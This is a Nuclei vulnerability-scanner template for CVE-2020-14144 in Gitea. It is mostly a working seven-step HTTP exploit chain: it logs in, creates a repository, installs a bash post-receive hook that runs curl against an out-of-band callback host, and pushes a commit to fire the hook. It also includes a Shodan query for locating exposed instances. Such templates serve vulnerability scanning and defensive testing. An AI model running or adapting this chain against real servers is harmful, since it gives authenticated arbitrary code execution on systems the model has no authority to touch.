Gitea 1.1.0 - 1.12.5 - Remote Code Execution

id: CVE-2020-14144

info:
  name: Gitea 1.1.0 - 1.12.5 - Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    Gitea 1.1.0 through 1.12.5 is susceptible to authenticated remote code execution, via the git hook functionality, in customer environments where the documentation is not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states "This is a functionality of the software that is limited to a subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides."
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Fixed in version 1.16.7.
  reference:
    - https://dl.gitea.io/gitea/1.16.6
    - https://github.com/go-gitea/gitea/pull/13058
    - https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14144
    - https://docs.github.com/en/[email protected]/admin/policies/creating-a-pre-receive-hook-script
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2020-14144
    cwe-id: CWE-78
    epss-score: 0.97181
    epss-percentile: 0.99775
    cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 7
    vendor: gitea
    product: gitea
    shodan-query: html:"Powered by Gitea Version"
  tags: cve2020,cve,rce,gitea,authenticated,git,intrusive

http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
      - |
        GET /repo/create HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /repo/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&uid=1&repo_name={{randstr}}&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master
      - |
        POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}
      - |
        GET /{{username}}/{{randstr}}/_new/master HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /{{username}}/{{randstr}}/_new/master HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: body_1
        words:
          - "Gitea:"

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - name="_csrf" value="(.*)"
        internal: true

      - type: regex
        name: auth_csrf
        group: 1
        regex:
          - name="_csrf" content="(.*)"
        internal: true

      - type: regex
        name: last_commit
        group: 1
        regex:
          - name="last_commit" value="(.*)"
        internal: true
# digest: 4a0a00473045022100e398d9d82ff8b9b88f71c78ed86a11cd12d18203426a0f2396f654d19d04022a0220753f0b26dc09689a5afbbb739a698e8340f6bb5296ac8e88f3fc93d75ab2cd3c:922c64590222798bb761d5b6d8e72950